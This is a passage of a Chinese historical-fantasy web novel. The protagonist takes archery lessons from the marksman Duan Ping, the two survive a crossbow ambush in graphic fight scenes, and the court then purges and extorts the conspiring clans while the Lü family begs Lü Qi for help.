段平听后也大感意外,脸色诚惶诚恐跟着凌晨的脚步回道:“此事家父也提及过,没想到那夜登门的贵客竟是殿帅您!拙荆手艺粗笨,家父又是行伍出身,若是有招待不周、言语冲撞之处……” 凌晨哈哈大笑起来:“你我都是老颍川人,说这些就见外了。没经过你的同意就把你从军营里提出来跟在我身边做事,该是我请你不要见怪才是~” 段平连忙说道:“末将岂敢!多少人想为殿帅效力而投身无门,能被两位上官举荐,又能得您看重,是末将的福气。” 凌晨听后笑着点头道:“行,那说好了,以后你就跟着我,可不兴后悔啊~” “敢不从命~” 从大舅哥那里把段平挖来,是因为凌晨听说他箭术很牛逼,可以把飞在空中的箭簇射落下来。 这就很逆天。 所以凌晨决定让他教教自己射箭,尽管有更方便的手弩,但毕竟技多不压身嘛~ 二进宽阔的庭院里,解二已经指挥着下人们摆好了木架叉起的靶垛。用一根麻绳一圈圈的缠绕成一个大圆坨,用朱砂将中心涂染成鲜红色,再用钉子将靶子固定在木板上,最后把多余的木边锯掉。 四十米外的另一边,黑漆梨木桌上放着十几张弓,还有好几斛羽箭。 一身便服、只有袖口被护腕裹住的段平走到桌子前,握起一张弓端详了一下,屈起两根手指拉了拉,摇了摇头,放下后又看向另一张。 一旁的凌晨和解二看的面面相觑。 “怎么了青云?” 听到凌晨问,段平向他解释道:“殿帅,这几把弓都太软了,射出的箭没有威力,也射不远。” 一旁的解二听到这话,心里瞬间就不爽了,母牛都被你吹上天了,那弓明明很难…… “嗞——” 当段平将三石硬弓一把拉满,又轻巧的卸力后,二爷卡在喉咙里的话上下不得,硬生生的又给吞咽了回去。 没办法,这个好像真喷不了。 凌晨兴奋的在旁边拍着手对段平说道:“来来来,快给我们展示一下,也叫我们开开眼。” “是,那末将就献丑了。” 段平对着凌晨点了点头,转头刚要取箭,就看到解二笑嘻嘻的腆着个黑脸将一支箭递到了他的面前。 “多谢。” 段平从他手中接过箭支,低头搭在弦上后,双腿微微岔开,抬头看向远处的箭靶。 深呼吸了一口气后,他的目光渐渐锐利起来,盯着远处的箭靶一言不发。 下一刻,他猛的张弓搭箭,弦如满月,利箭在空中划出一道目光都追不上的残影,飞向箭靶。 “啪!!” 凌晨和解二立在段平身旁,伸长脖子张望,呃…… 箭靶上好像没有箭,没中? 还不等凌晨和解二发问,段平又从箭斛里取出一支,依旧重复先前的动作,又是一箭飞出。 “嗖嗖嗖~~” 一连射了五箭后,他这才心满意足的将弓放回到桌子上,对着凌晨抱拳说道:“殿帅,好了。” 解二平时不怎么读书,所以视力好,隔着这么远都能看到靶垛上连根毛都没有。 什么嘛!这小子刚才姿势那么帅,气势那么足,我还以为多牛逼呢…… 他正要吐槽,却看到段平伸手对凌晨说道:“殿帅,不必叫人把靶垛移过来了,末将方才射出的,要近前了才能看见端详。” 凌晨已经迫不及待了,连忙朝着段平和解二招手,自己已经先一步踏出去了:“走走走,一起过去看看靶子。” 本小章还未完,请点击下一页继续阅读后面精彩内容!解二上下打量了段平一眼,目露不屑,嘴巴没出声的吐槽了几句后,便追着凌晨跑了过去,段平则是脸色平静的缓缓跟在二人身后。 凌晨凑到跟前一看,箭靶上一只箭都没有,靠! 他立刻下意识的扭头就要开骂,突然脑袋反应过来好像哪里不对,又折返回去,看向箭垛最中心的位置。 有个洞。 凌晨愣了一下,歪着头看向靶子后面。 再往后七八步就到了东厢房的廊下,此刻散落着一地的木屑、羽毛和箭头,箭垛后面的游廊柱子上,插着一把箭矢的的尾羽。 他立刻走到游廊里,绕到柱子后面查看,顿时被眼前的画面给硬控在原地了。 直径三十厘米的松木柱子被一支羽箭洞穿,箭矢卡在柱子里,朝向箭靶的那边只留下一些尾羽,而游廊里面却伸出了将近二十厘米。 也就是说,实战起来如果有人躲在柱子后面,也会被钉成针扎小人。 “嘶……” 五箭都精准的射过箭靶上的小洞,再挨个射进柱子,直到一根推一根的洞穿坚硬的松木实心柱…… 这特么是开了吧?这么准?这么猛! 同样赶过来看到这一幕的解二不禁吞了吞口水,露出比凌晨还要震惊的表情,嘴里喃喃道:“这……这……” 凌晨惊奇了一阵后,转身拨开愣在原地的解二,一把拉住段平的手,脸色坚定的说道:“请你一定要教会我箭术,这太牛逼了,我想学。” 段平立刻拱手说道:“末将一定尽心尽力,将心得技巧尽数告知殿帅。” “那个……我……我也想学~”解二在凌晨身后侧出身子,露出半个脑袋伸着手小心翼翼的对段平说道。 段平闻言轻轻一笑:“好。” 讲道理,凌晨的力气并不小,他能将标准桶装矿泉水单手提起来,再倒着举个三四秒,轻轻松松。(此举危险,请勿模仿) 至于三四秒之后嘛…… 那就只有天知道了。 但段平刚才拉的那把三石弓……他是真心拉不开呀! 别说两根手指了,四根手指加大拇指攥在一起都扯不到他那样的满月状,除非COS少年英雄小哪吒,用脚踹着使劲蹬才能拉开。 解二就更别说了,小趴菜一个,白长那么壮了。躺地上用脚踩着弓身,双手一起发力拉弦都扯不开,完全就是来搞笑的。 段平捂着嘴沉默了片刻后,挑了两把不那么硬、适合凌晨和解二的弓递给他们。 “一开始不用拉那么满,半张即可,将箭身端直,多射几箭找到感觉。然后再凭借感觉调整身姿和方向。” 在段平耐心仔细的教导下,凌晨也算是找到点感觉了,在浪费了十几支箭矢后,他终于将一支箭射中在了四十米开外的靶子上。 看到凌晨小有所成,解二也按捺不住了,将箭搭在弓上,闭上左眼,使劲拉开弓,一箭飞出—— 偏了。 箭靶在东厢房前的游廊方向,他特么射到东北角去了! 立在庭院北边靠东角落一个府中小厮怎么也没想到自己距离箭靶三十几步还能有箭射过来,慌乱中大叫着“解爷饶命”,一个前扑就趴倒在了地上,这才勘勘躲过解二的歪箭。 “他妈的傻逼老二,不要再射了!要练滚到城外黄河边练去,你看看你射的箭,都特么歪到你姥姥家去了!” 凌晨是真生气,也是真害怕!照他这个天赋,自己跟段平站在他旁边都有被误伤的危险! 解二默默的歪着脖子低下头,无fuck说。 确实有点逆天了…… 练了半天,凌晨也有点累了,将手中的弓一丢,满眼欣赏的盯着段平看,哪哪都满意。 百战老兵,箭术一流,寡言少语,还跟自己颇有渊源。 “青云啊,今天辛苦你了。走,我带你去西市下馆子。哎对了,你家是不是就在靠西市那边?” 凌晨在丫鬟端来的铜盆里洗了洗手后,一边擦着手一边问道。 段平点着头说道:“是,末将家在外城墙根下,过了德明门就是西市。” 凌晨听的眉头一皱:“啧…怎么在外城?” 段平脸色有点尴尬的答道:“京中地贵,家父毕生积蓄和末将的俸禄加起来,也才勉强能够……” “老二!去,在内城东市附近找个像样的院子,要四进的!买下来后明天就叫人帮青云搬家。” “殿帅!这……”段平懵了,殿帅平时赏赐人,手笔这么豪横的吗?? 待解二应了后,凌晨拉着段平就往府外走。 “走走走,这些小事就交给老二搞定,他要是搞不定,明天在他头顶上放个秋梨,咱俩比比谁先射中。” 本来内心毫无波澜的解二,在听到这句话后浑身一颤!这位段兄弟的箭术他已经见识过了,心服口服。如果是他来射,解二根本不在意,甚至敢把秋梨换成核桃。 可郡公刚才说的是“咱俩”…… 下一刻,解二爷一个赛亚人起飞,脚下生风越过了凌晨和段平,只留下一道残影。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“哈哈哈哈哈~~” 凌晨哈哈大笑着背起双手走向府门,段平手中握着一支弓,背上背着一筒箭,边走边给凌晨讲解拉弓的技巧和练习视力、准头的独家秘方。 二人骑上马出发,交谈的很融洽,凌晨都舍不得夹马肚子,生怕太快到达西市,就听不完这位神射手的经验传授了。 就这样,二人并辔骑在马上,慢慢悠悠的行走在残阳正浓的临河街巷中。 河对岸市井喧嚷,二楼传来琵琶声,石板街上夕阳拉长了二人的身影,河畔水阶偶有捣衣人。 “所以末将都是徒手抓蚊蝇来练习视力和反应速度的,若是能一击即中,也就差不多了。” “啊……那我估计不行呀,我养的疙瘩宝一口一个,估计我还没出手呢,它就先吃饱了。我的血甜,太招蚊子了,不带它出门我遭不住啊!” “呃……” 段平看向凌晨马脖子上挂的鸟笼,里面的癞蛤蟆双眼微眯,一副世外高蛙的模样,仿佛将一切都已经看淡。 “也可以靠观察飞鸟,尤其是它们飞上枝头后,如果能从枝叶遮挡处盯紧它们,对追寻移动的物件也很有作用。殿帅要先看,只有眼中能紧紧盯住目标,才能再有射箭的机会。” 凌晨深以为然的点了点头:“这话不假,如果连人在哪都找不到,就是百发百中也没有用。” “正是。” 二人悠闲惬意的笑谈着,来到一处街巷口。 下一刻,段平突然猛的从马背上跳起,握着弓踩着马鞍,径直飞扑向凌晨!! 嗯? 凌晨眉心一皱,本想一脚将他踢飞,但一看他是握着弓双手扑向自己的,又顿了一下。 “噗通!” 段平将马上的凌晨一把扑落在了地上,抱着他翻滚到了街边的民居石墙下!几乎是在同一时间,无数弩箭从河岸坡下和街前街后射来,他们的坐骑瞬间被射成了刺猬!! 马儿扬蹄长嘶,还没跑出去几步就倒在了血泊之中,满身都是密密麻麻的弩箭!! 揉着肩膀的凌晨咬紧牙关,怒不可遏—— “找死!!” 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第209章 夜雨声烦 “殿帅,你快走!末将想办法挡住他们!” 段平从后背抽出一根箭来,一箭射中第一个从河岸坡下露头的歹人,将他整个人射的脑袋和脖子反向曲折九十度,脑花四溅、后仰着身子倒了下去! 凌晨阴沉着脸爬起身来,转头就拐进了巷子里。 “你们几个随我拖住此人,其他人去追凌晨,那是条死胡同,今日务必要格杀此獠!” 一声令下,约莫二十几名穿着各种平民百姓衣服的人蒙着面就从周围跳了出来,段平眼看他们想进巷子里去追凌晨,立刻心急如焚的想要去堵截,却被一堆钉子一般的弩箭给射了回来。 那些箭就像长了眼睛一样,不断的追着他射,好几次擦着他的军靴脚后跟钉在了地上。 对方也不是等闲之辈! 段平只得不断变换位置,瞅准机会一边反击一边奔逃,贴地滑铲躲闪到旁边废弃草棚下的摊贩木车后,瞅准机会拔箭。 “梆梆梆!” “嗖嗖嗖!” 街边飞矢如雨,隐约能从空气中看到密密麻麻的乱箭飞舞。这帮家伙一边压制着段平,一边派人拉枪线,结果都被眼疾手快的段平射倒在了地上! 数息之后,猛烈的攻势陷入了对峙状态。 领头的歹人躲在街边屋子的房墙处,一边装箭射击,一边开口说话、妄图扰乱和瓦解段平的抵抗意志—— “足下的身手和箭法着实厉害,但你背的是禁军制筒,里面拢共就25支箭,这一会的功夫就射出18支。箭矢没了,又无武器傍身,我倒想看看届时足下又该如何!” 他一边说着,一边朝身后的手下们扬着下巴使了个眼色。 手下们会意,立刻就有两个歹人弯腰用双手交叉叠在一起,另一个同伙踩着他们两个的手掌,底下二人一齐发力,将这人猛的举起,助他爬上了民居二楼的边沿。 这人上来后,小心翼翼的贴着两足宽的边沿,弓着身向前摸索。砖墙边沿下面就是茅草搭建的草棚子,他大概估算着段平的位置,握着手弩慢慢从上方靠近。 “足下不如莫管闲事,自行离开。我们的目标是凌晨,只要你退走,在下以性命起誓,绝不出尔反尔暗放冷箭,如何?” 底下的歹人头领还在喋喋不休的说着废话,以期吸引段平的注意力,从而给棚顶的同伙创造机会。 可他们明显低估了段平,当草棚顶上传来一声麦草被踩压的细微响动后,段平毫不犹豫的拉满弓弦,抬头朝着草棚就是一箭! “呃——!!” “哗啦~” “砰!” 那歹人直到死也没想明白,隔着这么厚的一堆茅草,对方能察觉到他在头顶也就算了,竟然还能一击即中将自己的胸口洞穿!这怎么可能…… 随着他的摔落,被段平拿来当掩体的摊贩木车和一堆歹人中间尘土飞扬、草屑乱舞,混乱不堪,同时也遮挡住了双方的视线。但塌下来的地方到底是离段平近点,他受到的影响更大。 歹人头领立刻抓住时机,朝着身后的手下们一挥手,他们立刻握着手弩一边朝着段平奔去,一边抬起手中的弩射出箭矢! 又是一阵箭雨穿进了有些灰腐的塌茅草下。 他只剩下6支箭了,而自己这边有7个人,哪怕他一箭一个,也解决不了所有人。我们射过去的是短弩箭,他就算捡了也用不了。 死吧!! 被塌下来的杂草灰尘盖住的摊贩木车下,又是数箭射出,精准的将冲上前去的歹人们射倒在地上。歹人头领不管这些,他不看死伤,只要段平的命! “呃!” 还有5支。 “啊~~” 还有4支。 3支……2支……1支!! 当身前的最后一个同伙被段平一箭洞穿右胸,惨叫着摔倒在地上后,歹人头领大喜过望! 对方没有箭了! 哼哼哼~~ 该轮到我……呃!! 又是一箭飞出,歹人头领只觉得腹部一阵剧痛,剧烈的灼烧感和疼痛感钻心的袭来,疼的他意识都有一瞬间的模糊。 他难以置信的低下头,紧接着露出不可思议的眼神来,这怎么……可能!! 插入他腹部的不是箭矢,而是一张长弓,带着弦的长弓。 啊?? 这……这你妈…… 下一刻,距离他只有两米不到的榻草棚里突然冲出一道人影,他来不及思考其他,下意识的举起手中手弩,拼尽最后一丝力气射出了弦上的弩箭,却被对方略一歪头,便轻松躲了过去。 紧接着,段平一脚踹在了插入歹人头领腹部的长弓另一端,将弯曲的长弓和弦一并踹进了他的肚子里,血水渗透了他的大片衣衫。 歹人头领双腿一软,失去平衡摔倒在地上,段平弯腰捡起他的手弩,侧着身子居高临下的看着他,装好弩箭后对准了他的面部。 “你……你……” “嗖——” 一箭飞出,歹人头领的脑袋被巨大的力道狠狠撞在了地上,眉心间插着没入了三分之一的弩箭,脖子一歪,再无生息。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!段平急忙从他腰间抽出刀来,将刀夹在腋下,一边朝着凌晨进去的巷子口奔去,一边将弩箭装在了弦上。 当他心中焦急的赶到巷子口,朝着里面望去时,才发现这是一条直通到底的巷子,只有左边有个分岔口。 他刚抬腿走进巷子里,就看到一道人影满是血污的从左边分岔口飞了出来,结结实实的撞在了右侧墙壁上,无力的摔倒在地上,扑起一阵尘土! “殿帅!殿帅你怎么样了?殿……” 段平举着弩提着刀,快速跑到分岔口,焦急的叫喊着向左边岔口一望,紧接着就愣在了原地。 这里也是一条死路。 他已经无心去想为什么这里没有人家的大门或者侧门,还要开出两条“T”字型的小巷子。 本就不宽的巷子里横七竖八的躺着身穿各种衣服的歹人凶徒,有的靠坐在墙边低垂着脑袋;有的平躺在凹凸不平的石板地面;有的三三两两叠在一起四肢乱摆,地面和墙壁上到处都是飞溅喷洒的血迹,有些地方还有零碎的……胳膊和手掌。 凌晨低头正对着段平,按住跪在自己面前的最后一个歹徒脑袋,揪着他的头发将横在对方脖子上的刀扬手一挥,血水喷在了他早已浸湿的垂衫,尸体无力的一软,被他像丢垃圾一样丢到一旁。 段平在最短的时间内简单估算了一下,这里大概有十七八个人。 是真的! 传言是真的!! 传闻殿帅曾在多年前的一个雨夜,单人屠戮了四五十人,段平对此一直有所怀疑,哪怕其中一些说自己是亲历者,他也觉得有夸大夸张的成分。 但今天他亲眼见到了!就在自己眼前,殿帅单杀了十七八个训练有素、武艺不俗的杀手! 一瞬间,段平在脑海里产生了好多想法。 从他午后进入郡公府就一直笑嘻嘻的殿帅,偶尔还会开点小玩笑,怎么看都人畜无害。谁能想到他竟然还会有如此凶残暴虐的恐怖一面! 另外,如果是自己对上殿帅…… 段平看着满地的尸体,久久无言。 自己在外面是利用掩体和距离,挨个定点清除,说白了,每次都是一对一,顶多受点干扰。 而这里空间如此狭小,对方又人手一把手弩,就算是近身搏斗,那也应该是一起乱砍上去的,可他们竟然全都…… 假如现在和殿帅展开生死搏杀,段平觉得自己估计很难取胜,因为他对殿帅一无所知,甚至都不知道他是怎么出手做到的。 但如果是自己被这群人逼进小巷子里的话,怕是只能换两三个垫背的,就要被乱刀剁成肉馅,手弩射成刺猬。 这就是殿前都点检吗? 凌晨冷着脸将手中的刀随意的往地上一丢,双手在衣服上擦着血污,快步走到段平面前,段平不自觉的闪开身子给他让路。 “外面的都解决了?” “嗯……都解决了。” “行,青云啊,你确实身手不俗,难怪老冯和我哥都说你是个人才。” 凌晨将脸蹭在肩膀上的衣服上,擦了擦血迹后,继续对段平说道:“先回府吧,今天这顿饭是吃不成了,改天再请你。” 段平朝着身后的巷子以及两边墙顶警惕的扫了一眼后,随口说道:“是。” 傍晚,原本晚霞余晖的天空渐渐被一片从远处来的乌云吞噬,劲风卷起扬尘,满地飘落枯黄的树叶和断枝。 钟楼三通鼓罢,夜深露重。 汴京城中左右校场的禁军列队持刀冲出大营,行走在大街上逢人就盘问;披甲骑兵骑着高头骏马杀气腾腾的直奔一些目标府邸,踹门而入;皇城御林军将下马庄和杨柳巷团团包围,许进不许出。 若有人问起出了什么事,军士们便说京城中混进了来路不明的刺客,也许是唐国的,也许是草原的,谁也不知道。 反正为了保护各位市民的安全,请大家待在家中不要胡乱走动,也不要走街串巷访邻寻友。明日天亮,汴京还是汴京。 凌晨懒得跟淑妃废话,直接隐身进宫,吹了迷香把几个立在她床榻边的宫女弄昏过去后,将她揪着脖子从床上提起来塞进水盆里,给老阿姨清醒了一下脑子。 头痛欲裂的淑妃还没弄明白发生了什么事,就看到桌子上笔仙画符,涂了朱砂字迹的纸张凌空飘到了自己面前。 “近来谋乱京师者,何人?答错,死。” 淑妃一把撩起贴在脸上的湿发,完全处于懵逼状态,大脑一片空白。 上次的事情过后,一直太平无事,时间久了,她都有些怀疑是不是自己那天眼花看错了或者是中了幻术。可如今同样离奇诡异的一幕发生在自己面前,死去的记忆又充斥进了脑海之中。 “许……许是芝英娘家及其……及其朋党,神仙明鉴!信妇久居宫中,未曾与外界往来,确实不知情!神仙明鉴,明鉴!” 等到她磕了好几个头后,惊恐不安的抬头张望,却发现刚才还飘在自己眼前的纸张早已消失不见踪迹,只有地上的水渍和脸上湿漉漉的头发告诉自己,刚才的一切都不是梦。 这章没有结束,请点击下一页继续阅读!扭头看了看凤榻旁横七竖八歪倒在地上的宫女们后,淑妃只觉得眉心沉重,整个脑袋像是脱了壳的核桃一样,一晃就能感觉到空洞。 她扶着额头想要起身,结果却两眼一黑,天旋地转的晕倒在了地上。 雷声轰隆,耀眼的白色电光划破夜空,雨点噼里啪啦的敲打着屋瓦和庭院,雨水汇聚成小股涓涓细流,沿着排水沟流向低洼处,形成滩滩水坑。 下一刻,一只军靴蛮横的踩入平静的小水坑中,溅起一阵泥浆和水花! “噔噔噔~” 数百名御林银卫将受到严密监视的赵王府团团包围,刀出鞘、弩上弦,任由雨水从斗笠兜鍪上滑落双肩,衣袖、铠甲、护腕上尽是水珠。 何关带着十几名金卫,皱着眉头来到了赵王府大门前。 负责“保护”赵王文初一家的御林军统领见到何关后先是一礼,听完命令、看过圣旨后,立刻叫手下打开了府门。 下一刻,无数御林军冲进了王府之中,直奔赵王妃赵志英的闺房! 胡子拉碴的文初一脸迷茫的走出正堂,看着满院子提着刀的御林军,疑惑不解的同时,又有些愤怒! “何关!你不过是父皇身边的一条狗,本王纵使失势,也是嫡出的皇子!你竟敢率人闯入本王府中,亮出刀兵,是何道理?!” 何关左手握着刀柄,右手将圣旨递到了文初眼前。 “殿下自己看吧。” 文初咬着牙一把从他手里夺过圣旨,满含恨意的瞪了何关一眼后,将目光落在了展开的圣旨上。 “这……这……绝无可能!!芝英一介女流,又一直软禁在府中从未外出,刺杀父皇和凌晨,怎么可能跟她扯上关系?!你们休要污蔑陷害!” 文初又惊又怒的朝着何关大喊起来,后背已经惊出一身冷汗! 何关冷冷的对他说道:“是非曲直,陛下自会裁彻决断,殿下若是与此无关亦或是不知情,自然身正无惧影斜。” 不…不不不! 这不可能!绝对不是真的!就算是真的…… 那也绝对不能认!! 赵王妃和赵王是夫妻,在外人眼中是绑在一起的。如果此罪坐实,自己就彻底完了!别说软禁,贬为庶民都是轻的! “我要见父皇!我要见父皇!这一定是小人陷害,欲置我于死地!我要去见父皇!” 文初捏着圣旨就要往外走,却被何关一把拦住,重新推了回来,厉声呵斥道:“殿下休要胡闹!禁足未解,殿下出得府门一步,便是抗旨不遵!” 文初惊的接连后退了几步,被桌椅绊倒后,一屁股坐在了摆有果盘和茶杯的小桌上,噼里啪啦响起一阵嘈杂,失魂落魄的望向院中。 “殿下!救我啊!殿下——” 赵王妃被两个御林金卫架着胳膊,从后院拖到了前庭中。大雨浇透了她的衣服和面容,雨珠顺着脸庞滑落,已经分不清到底是雨水还是泪水。 何关留下一句“殿下留步”后,便带着人押着赵志英走出了府门。看到府门渐渐合上后,文初捶胸顿足的握住手中的圣旨,心中既悲愤又懊悔! 时至今日,他这才清楚的认识到:在权力的斗争面前,根本就没有抽身罢手之说,更没有亲疏血缘可言。 斗争就是斗争,只有成王败寇,你死我活!! 与此同时,汴京城中的个别河北、江淮系官员的府邸都被禁军破门而入,响起一片鬼哭狼嚎,甚至还有喊杀之声。不过很快就被惊雷掩盖,大雨涤荡。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第210章 洗牌 大量河北和江淮系的官员都被卷入了这场骇人听闻刺杀案中,其中还有一些关中和晋阳籍贯的官员。 这场斗争已经无关地域和个人恩怨了,完全是利益分配之争。 晋阳和河北或许还能理解,尽管安容、吕齐、崔赦都是从他们之中走出来的,但这些年轻代表并不符合老牌地方大族的意愿,让他们有一种可能会被后起家族取而代之的危机感,大声抗议也情有可原。 但江淮系是文训起家的资本,按理来说,原始股的待遇和回报已经不低了,甚至可以说是很丰厚。 可他们依然不满足。 在这些人眼中:我们最先加入公司,出钱、出粮、出人帮忙打下你老文家的天下。头把交椅你来坐,这没问题。但国服前一百的名额怎么也该暗箱操作一下,安排到我们自己人吧? 新出的末位淘汰制文件里怎么还有我们的名字? 六部尚书为什么只有两个江淮人?全部搞成我们自己人不行吗? 国都为什么要定在汴京?为什么不定在汝南或者寿春? emm…… 但凡读过点书或者懂点地理的都知道,这是不可能的。 中原士族和关东士族在平定天下的过程中同样立下过汗马功劳,河北和关中、晋阳那些胡子花白的老员外们也不能怠慢了。如果想要长治久安,就得搞好平衡。每一个人的官职、背景、爵位都要仔细斟酌和考量。 真以为凌晨的殿帅是因为功劳和私交啊! 如果顺着这帮人的心意去做,大郑就会重走先周的老路,其他地方的豪强对只符合江淮人口味的大锅饭不满,会偷偷给自己开小厨房,另起炉灶。 这样一来,皇帝也会受制于江淮系的世家官员,因为失去其他地区的支持后,能够依靠的就只有他们。到时候,还得看他们的脸色行事。 最后的结果就是朝廷政令不通,地方阳奉阴违,然后大家发现上升的意义不大,还不如在地方上当土皇帝来的爽。这样持续个十几年,势力深耕当地、大树盘根错节,到那时,又该用刀剑说话了。 所以,长痛不如短痛,为了天下安宁,就要壮士断腕!该怀柔时怀柔,该狠辣时狠辣! 江淮系怎么了?跟陛下摆功劳?河北系怎么了?跟陛下装无辜? 陛下的盟友是军队,是百姓,不是你们这帮分不清大小王的贪得无厌之徒!江淮地区还有很多年轻人等着上位,河北地区还有很多中小家族等着壮大,既然你们对官职、勋爵和到手的利益不满意,那就别要了! 记住,你们帮陛下是应该的,这是你们的荣幸,而不是你们对陛下恩情。 更不是挟恩图报的理由!! 冀州赵家、幽州范家、晋阳李家、冯翎裴家、卢家、寿春杨家、齐家、淮北朱家、汝南萧家、吕家、关东杜家、广陵蒋家,全部都是参与行刺陛下和殿帅的罪人,这些先周时期的豪门望族被连根拔起,汴京城北的护城河被鲜血染成了一条血河。 当然了,这种事都是敲打一批、拉拢一批的,不能真的全都干掉。那样会激起剧烈的反抗,困兽之斗还是很麻烦的。 所以,在远离京城的地方上,接到朝廷授意的其他大族、以及在扶植名单里的中小家族们,宛如闻到血腥味的鲨鱼,一拥而上!将他们的店铺产业、宅院田地、佃户奴仆甚至是锅碗瓢盆统统瓜分一空。 许多百年大族就此烟消云散,一鲸落,万物生,无数寒门就此崛起。 而这些新秀们能依靠的,只有朝廷,只有皇帝。 龙椅非但没有松动,反而被牢牢焊死在了乾元殿上。 主要的刺头解决掉以后,剩下的就是一些与此案有点关联,但并未参与或者参与度不高、亦或是不知情的人。 比如真定梅家,倒了血霉娶了冀州赵家四房的女儿做儿媳;再比如长安关家,老婆的妹妹嫁给了冯翎卢家旁系;还有幽州吕家,大公子吕侑的老婆和反贼赵芝英过从甚密。 对于这些人,要震慑,要敲打,但也要给他们留条活路。真要上纲上线的严格按照三族或者九族论处,汝南文家就得第一个作出表率。 那不是滑天下之大稽么~ 刚巧朝廷最近财政有点紧张,于是,受到惊吓的殿帅还是拖着疲惫之躯亲自出马了,挨个上他们家中进行心理辅导。 陛下最近很生气,我也很生气,发生这种事,是大家都不愿意看到的。我知道你们可能是无辜的,也知道你们很着急,但先别急,听我说。 我今天不是来破坏你们幸福生活的,而是来聊天谈心的,聊的好了无事发生,聊的不好了…… 再说嘛~ 这些家族的掌舵人几乎全都小心翼翼的向殿帅发出疑问:那么,我们具体该怎么做呢? 凌晨呵呵笑着伸出一根手指—— 一百转我九十五,我的手段你清楚。 除了极个别的守财奴之外,大部分在乱世之中发了战争财、吃着人血馒头壮大的肥猪们都选择乖乖听话,忍痛割下了自己的肉献给殿帅,花钱消灾来保平安。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!遇到凌晨还有商量的余地,要是遇到陛下,那就只能沐浴更衣,干干净净的去见祖宗了。毕竟,以陛下的身份,怎么会跟臣属们去讨论黄白之物、腌臜之事呢? 凌晨:给了钱,你就可以活。 陛下:杀了你,钱也是朕的。 不对…… 什么你的钱?那本来就是朕的钱!你为什么要把朕的钱放在你家库房里?嗯? 回答我! —— 幽州吕家快要急疯了! 幽州太守、知府是吕家家主,但他是主管政务的,兵权都在郡尉田楷手中。而且由于幽州东边有前老板应开疆,北边有好邻居契丹部,所以田楷这个郡尉和大郑腹地的其他郡尉有点不一样。 很多时候,他这个知府还要配合人家。 现在朝廷说,大儿媳和参与刺杀陛下、殿帅的赵芝英交往很密切,正在调查中。 这能不急吗?火都烧到眉毛了! 更何况吕知府的老婆、女儿,包括整个幽州吕家的下一代家主、大儿子吕侑全在汴京城里,一个不小心,就是满门抄斩的横祸啊! 于是,吕知府派心腹家丁快马加鞭,一路从幽州赶到汴京,叫吕侑立刻马上去易阳侯府,求堂弟吕齐去向凌晨说情。 树枝上的叶子已经掉的差不多了,秋风萧瑟,天渐寒。 吕齐和何世容立在庭院里,看着从小欺负自己到大的堂兄、和一直把容儿当做附庸和婢女看待的堂嫂从府门外走了进来。 兄嫂二人脸色灰败,神情紧张,尴尬中带着屈辱,屈辱中又带着难堪。 吕齐不自觉的挺胸扭了扭脖子,心情莫名的有些舒坦和畅快,好奇怪,这是怎么回事呢~ 尽管心中想笑,但毕竟是家族有难,内心有没有归属感是一回事,表面上的功夫还是要做足的。不然要是传出去一个“数典忘祖”的名声,那就不好玩了。 “大哥,长嫂,里面请。” 吕侑见吕齐对自己表现的挺客气,再联想到以前自己对他处处针对打压的场景,顿时就有些心虚:“三弟客气了,该你先请才是。” 何世容抿着嘴,暗暗磨了磨贝齿,最终还是说服自己走上前去,主动挽起吕侑娘子的胳膊笑着说道: “哥哥,嫂子,我们都是一家人,何必如此谦让?莫要再磨蹭了,赶快一起入座才是。” 吕侑和娘子对视一眼,都尴尬的笑着低下头,点头称是。 吕齐客气的让吕侑坐了右首上座,自己坐在了他的下座,这让吕侑不禁生出了一丝愧疚之心。自己那般对待三弟,如今到了危难之时,三弟并没有以同样的方式给自己冷屁股,反而恭敬有加,这…… 这么一想,自己以前真不是人啊! 坐在左首的吕侑娘子也有点无地自容,一想到当初在蝉鸣宴会上,自己为了巴结赵王妃…哦不,罪妇赵芝英,故意当众向弟妹发难,叫她难堪…… 她就恨不得找个地缝钻进去。 “以前……为兄不懂事,总是欺负你,你嫂子也被我带坏了,连带着对弟妹无礼,是我这个做兄长的不对。三弟呀!无论如何,你都要受这一礼,为兄向你赔罪。” 刚刚坐下的吕侑重新起身,朝着吕齐拱手作揖,弯腰就拜。 吕齐连忙起身扶住他,笑着说道:“大哥~那都是年纪轻不懂事,你说这些做什么?再者说了,没有大哥的鞭策和督促,弟弟也达不到今日的成就,说句心里话,我其实还是很感谢大哥的。” 这话可不是调侃或者阴阳,如果不是吕侑和长房一直对吕齐所在的一脉不公平对待的话,他也不会憋着一口气外出闯荡,也就不会认识凌晨,不会发表鸡城之声的演讲了。 更没有今日的易阳侯。 “唉……” 吕侑还是有点忐忑不安,踌躇了半天,才硬着头皮开口说道:“三弟呀,想必京城最近的局势你也清楚,咱们吕家危矣!为兄平时忙于外务,家事上有所疏漏也是在所难免的。 谁知你嫂子头发长见识短,居然跟那个赵芝英走到一起去了。你也清楚你嫂子,心直口快没遮拦的一个人,平时也就敢骂街吵嚷过过嘴瘾,如何敢参与到刺杀殿帅乃至刺杀陛…… 唉! 家族对你一直有所亏欠,还安排我抢了你的功劳,你要记恨也是人之常情。为兄今天就是专程来负荆请罪的,要打要骂,你尽管动手,我绝不皱一下眉头。 但吕家不光是你我啊!还有三叔、四叔、大姑小姑、两位姑父和表弟妹他们,我不成器,做不了什么。可你是有能力搭救他们的。 纵使不救我们长房,你……还望你看在一起长大、同受长辈们厚爱和关怀的份上,救救叔叔姑姑们。永元刚刚加冠,表弟妹已经显怀;香凝更是还未及笄啊……” 吕侑说着说着就声音哽咽了,他是真的体会到世事多艰了,昨夜楼台宴宾朋,今朝霜冷凄风寒,连皇帝的儿媳都能被抓捕下狱,自己又算个什么呢? 以前骄傲个什么呢? 本小章还未完,请点击下一页继续阅读后面精彩内容!唉! 吕侑的娘子也害怕的低声啜泣起来,何世容赶忙起身走到她面前,将手搭在她的肩膀上,递去手绢擦眼泪,轻拍着安慰她。 吕齐抬头看了一眼她们后,长叹了一口气,扭头对吕侑说道:“大哥不必多言,往日家族的养育庇护、长辈们的关心切嘱犹在眼前,弟弟岂有见死不救之理? 只是我与大哥虽是至交,但那也是承蒙他看得起,愿意带着我。这次是国家大事、朝廷公务,成与不成,不是我说了就能算的,弟弟能做的就是尽人事,其结果……” 